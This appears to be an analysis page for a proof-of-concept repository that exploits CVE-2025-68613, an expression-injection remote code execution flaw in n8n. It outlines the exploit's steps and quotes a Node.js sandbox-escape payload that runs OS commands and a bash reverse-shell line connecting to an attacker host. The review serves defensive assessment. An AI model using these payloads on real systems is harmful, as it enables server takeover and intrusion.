gagaltotal/n8n-cve-2025-68613
PoC files
6 filesFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
Analysis
Technical assessment
The repository contains a Python script (tot-exploit-2025-68613.py) that authenticates to an n8n instance, creates a workflow with a malicious expression, and executes it to achieve remote code execution (RCE). It supports multiple payloads including command execution, file read/write, and reverse shell. The README also describes a scanner, but the scanner file is not included in the evidence.
Backdoor review
No backdoor observed in reviewed code
The supplied evidence consists of a README, a requirements file, and a single Python exploit script (tot-exploit-2025-68613.py) for CVE-2025-68613. The script performs authenticated RCE against a target n8n instance by injecting expressions into a workflow, which is the documented exploit behavior. No concealed backdoor, unrelated payload, persistence mechanism, or operator-directed harm beyond the stated exploit was observed in the reviewed text.
Classification basis and observed behavior
Classification basis
The file tot-exploit-2025-68613.py is explicitly designed to exploit CVE-2025-68613 by injecting expressions into an n8n workflow to execute arbitrary code on the target system. It performs the full exploit chain: authentication, malicious workflow creation, execution, and optional cleanup.
tot-exploit-2025-68613.py:1-386README.md:8-12Requirements
- Valid n8n credentials (email and password) are required for authentication.
tot-exploit-2025-68613.py:82-122 - The target n8n instance must be running and accessible over the network.
tot-exploit-2025-68613.py:61-62
Observed behavior
- Authenticates to the n8n REST API using provided credentials and extracts a bearer token.
tot-exploit-2025-68613.py:82-122 - Creates a new workflow containing a 'Set' node with a user-controlled expression that invokes arbitrary JavaScript via 'this.constructor.constructor'.
tot-exploit-2025-68613.py:125-177 - Executes the malicious workflow, triggering the injected expression to run on the server.
tot-exploit-2025-68613.py:180-199 - Supports payloads for system info gathering, OS command execution, environment variable dumping, file read/write, and reverse shell.
tot-exploit-2025-68613.py:218-341
Behaviors behind the backdoor verdict
Observables
- Exploit Script
- tot-exploit-2025-68613.pyThe script implements authenticated RCE via expression injection in n8n workflows, consistent with the described CVE-2025-68613 vulnerability.
tot-exploit-2025-68613.py:1-386 - Payload
- this.constructor.constructor('return require("child_process").execSync("{command}").toString()')()The command execution payload uses Node.js child_process to run arbitrary OS commands, which is the core of the RCE exploit.
tot-exploit-2025-68613.py:243 - Payload
- bash -i >& /dev/tcp/{lhost}/{lport} 0>&1The reverse shell payload establishes a connection back to an attacker-controlled host, which is a standard post-exploitation technique.
tot-exploit-2025-68613.py:307
What the analysis did not establish
- The scanner script (tot-scanner-2025-68613.py) is mentioned in the README but is not included in the provided evidence files.
- The evidence does not include the non-text media file (Screenshot from 2025-12-28 23-50-48.png) referenced in the README.
- The evidence does not include the two text files without content that are part of the repository.
- Three files (including one non-text media file and two unclassified files) were not provided as text and were not analyzed. Their content could contain additional behavior not reflected in this review.
- The scanner script (tot-scanner-2025-68613.py) was listed in the README but its content was not included in the evidence; its behavior is unknown.
- Binary or non-text content flagged as metadata-only was not inspected.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.